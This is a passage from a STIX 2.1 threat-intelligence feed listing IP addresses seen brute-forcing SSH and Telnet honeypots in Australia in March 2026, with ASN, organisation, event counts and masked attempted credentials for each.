      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********4, 3***********4, 3**********4, D*********5, L*******..",
      "id": "indicator--876788bf-c9f2-42a4-9b70-6d19250faa9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.186.0.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T10:15:03.000Z",
      "valid_until": "2026-04-28T10:15:01.000Z"
    },
    {
      "created": "2026-03-27T10:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17813. Organisation(s): Mahanagar Telephone Nigam Limited.",
      "id": "indicator--be693249-f484-478d-93cf-99aaf843130b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.57.121.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T10:15:03.000Z",
      "valid_until": "2026-04-28T10:15:01.000Z"
    },
    {
      "created": "2026-03-27T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--bd579c42-2e22-4d01-9baf-46ff83f8530a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T10:15:03.000Z",
      "valid_until": "2026-04-28T10:15:01.000Z"
    },
    {
      "created": "2026-03-27T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): *.",
      "id": "indicator--196b7fb4-9a2d-437c-a967-5ecd6f77732e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.46.224.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T10:15:03.000Z",
      "valid_until": "2026-04-28T10:15:01.000Z"
    },
    {
      "created": "2026-03-27T10:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--97befc22-1b54-4554-abd5-a50be97e7f3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.215.33.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T10:15:03.000Z",
      "valid_until": "2026-04-28T10:15:01.000Z"
    },
    {
      "created": "2026-03-27T11:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 22. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--f46084ec-76e2-4a4b-a2e6-d5986f9f6ecd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T11:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.176.155.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T11:15:24.000Z",
      "valid_until": "2026-04-28T11:15:01.000Z"
    },
    {
      "created": "2026-03-27T11:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, P*********3, R********^, a*******/.",
      "id": "indicator--8fe4a57a-6d3f-4b2f-910a-c78a2d5e6bd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T11:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.124.18.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T11:15:24.000Z",
      "valid_until": "2026-04-28T11:15:01.000Z"
    },
    {
      "created": "2026-03-27T11:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--b85cb319-297c-449e-9588-25748f018921",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T11:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.135.161.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T11:15:24.000Z",
      "valid_until": "2026-04-28T11:15:01.000Z"
    },
    {
      "created": "2026-03-27T11:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SA. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********3, 3***********4, 3**********4, 9**9, A*******+.",
      "id": "indicator--f887154d-97cc-44cc-9c06-e04286925054",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T11:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.164.77.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T11:15:24.000Z",
      "valid_until": "2026-04-28T11:15:01.000Z"
    },
    {
      "created": "2026-03-27T11:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 3301. Organisation(s): Telia Company AB.",
      "id": "indicator--519f68d7-dc52-4685-9316-c528ef2936f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T11:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.20.224.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T11:15:24.000Z",
      "valid_until": "2026-04-28T11:15:01.000Z"
    },
    {
      "created": "2026-03-27T11:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): r**t, s*****t. Passwords observed (masked): s*****t, v***v, x****1.",
      "id": "indicator--9567f2f1-f4a4-41f6-9608-015cd95ec095",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T11:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T11:15:24.000Z",
      "valid_until": "2026-04-28T11:15:01.000Z"
    },
    {
      "created": "2026-03-27T11:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 215672. Organisation(s): MoeChuang Network Limited. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--a22c2afa-8b8d-4e84-9612-912d9003a4da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T11:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.172.250.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T11:15:24.000Z",
      "valid_until": "2026-04-28T11:15:01.000Z"
    },
    {
      "created": "2026-03-27T12:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--9bab0b27-6e7c-40c0-a776-92c1628fffc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.251.207.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T12:15:07.000Z",
      "valid_until": "2026-04-28T12:15:01.000Z"
    },
    {
      "created": "2026-03-27T12:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--d54c49d5-405d-46b9-9b50-0ee7c420e1a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.138.115.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T12:15:07.000Z",
      "valid_until": "2026-04-28T12:15:01.000Z"
    },
    {
      "created": "2026-03-27T12:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--ebb72d78-f226-4df1-9773-02d0b08a4935",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.102.189.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T12:15:07.000Z",
      "valid_until": "2026-04-28T12:15:01.000Z"
    },
    {
      "created": "2026-03-27T12:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a87ba43f-b424-46df-9181-79761bb42de7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.225.18.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T12:15:07.000Z",
      "valid_until": "2026-04-28T12:15:01.000Z"
    },
    {
      "created": "2026-03-27T12:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1211. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 214122. Organisation(s): Civo India Pvt Limited. Usernames observed (masked): r**t, t**t, a***n, d****y, k***a. Passwords observed (masked): 1****6, ***, P******d, 1**4, p******d.",
      "id": "indicator--9b5e70f8-bf1e-4593-be6a-8c1d4f14e6e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.2.253.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T12:15:07.000Z",
      "valid_until": "2026-04-28T12:15:01.000Z"
    },
    {
      "created": "2026-03-27T12:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d2b07191-40bc-4e38-86d8-bc3f09daf814",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.188.137.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T12:15:07.000Z",
      "valid_until": "2026-04-28T12:15:01.000Z"
    },
    {
      "created": "2026-03-27T12:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t. Passwords observed (masked): P**********3.",
      "id": "indicator--01a291fa-ff77-4a7c-8fae-976e510b37b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.212.116.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T12:15:07.000Z",
      "valid_until": "2026-04-28T12:15:01.000Z"
    },
    {
      "created": "2026-03-27T12:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--e7951e78-45dd-446f-99bf-985dc35e5c14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.98.68.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T12:15:07.000Z",
      "valid_until": "2026-04-28T12:15:01.000Z"
    },
    {
      "created": "2026-03-27T12:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--2b1627a7-403c-4d58-a91a-0f005296cd6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.98.68.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T12:15:07.000Z",
      "valid_until": "2026-04-28T12:15:01.000Z"
    },
    {
      "created": "2026-03-27T12:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U******************************************************************************************0. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--9680d567-2b3d-4c7e-a94f-e15eb8f4f636",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T12:15:07.000Z",
      "valid_until": "2026-04-28T12:15:01.000Z"
    },
    {
      "created": "2026-03-27T12:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--102dac69-be0d-4aa0-a54a-7933adf4aac5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T12:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.10.36.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T12:15:07.000Z",
      "valid_until": "2026-04-28T12:15:01.000Z"
    },
    {
      "created": "2026-03-27T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--f1dd6f8c-5f10-4dc6-8a44-cdd42c2ed1ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.173.127.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T13:15:04.000Z",
      "valid_until": "2026-04-28T13:15:01.000Z"
    },
    {
      "created": "2026-03-27T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 27882. Organisation(s): Telefonica Celular de Bolivia S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****3, 3***********4, 3**********4, A******9, e*********6.",
      "id": "indicator--c133789e-1ba0-48da-954d-7e8255e3c12b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.188.176.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T13:15:04.000Z",
      "valid_until": "2026-04-28T13:15:01.000Z"
    },
    {
      "created": "2026-03-27T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n, a******3, a*******6.",
      "id": "indicator--71efa8cc-4c8b-4034-adae-c2a35e2f6455",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.188.119.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T13:15:04.000Z",
      "valid_until": "2026-04-28T13:15:01.000Z"
    },
    {
      "created": "2026-03-27T14:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 137047. Organisation(s): TELECOMMUNICATION AND TECHNOLOGY MASTERS PVT. LIMITED.",
      "id": "indicator--7b5d5579-398f-4a81-bab4-7edd7194cbf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.160.215.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T14:15:04.000Z",
      "valid_until": "2026-04-28T14:15:02.000Z"
    },
    {
      "created": "2026-03-27T14:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a01d4c52-cd13-4719-a03c-f99991107e8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T14:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.214.181.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T14:15:04.000Z",
      "valid_until": "2026-04-28T14:15:02.000Z"
    },
    {
      "created": "2026-03-27T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--1abae6f5-ce35-4062-ad52-55b0bf0c7d0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.116.178.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T15:15:03.000Z",
      "valid_until": "2026-04-28T15:15:01.000Z"
    },
    {
      "created": "2026-03-27T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--33a7cc11-4d3a-4857-a154-792788cf3043",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.166.94.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T15:15:03.000Z",
      "valid_until": "2026-04-28T15:15:01.000Z"
    },
    {
      "created": "2026-03-27T15:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--2c370ad5-f018-4409-b05e-1054160cf4aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.87.136.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T15:15:03.000Z",
      "valid_until": "2026-04-28T15:15:01.000Z"
    },
    {
      "created": "2026-03-27T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--cbeb04a4-1df5-45b7-aeb4-69b1db0f6a0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.245.140.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T16:15:03.000Z",
      "valid_until": "2026-04-28T16:15:01.000Z"
    },
    {
      "created": "2026-03-27T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): a**************0, g*****l, y******6.",
      "id": "indicator--7e213683-bf84-4af1-9204-f15c2876f639",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.28.9.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T16:15:03.000Z",
      "valid_until": "2026-04-28T16:15:01.000Z"
    },
    {
      "created": "2026-03-27T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 216039. Organisation(s): EdgeSec Technologies Limited. Usernames observed (masked): . Passwords observed (masked): **.",
      "id": "indicator--5fea7b2c-02c6-4c36-af9b-35e969ec12c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '166.1.144.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T16:15:03.000Z",
      "valid_until": "2026-04-28T16:15:01.000Z"
    },
    {
      "created": "2026-03-27T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--226c31a7-f7cb-49aa-9653-955cb6cc6d62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T16:15:03.000Z",
      "valid_until": "2026-04-28T16:15:01.000Z"
    },
    {
      "created": "2026-03-27T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
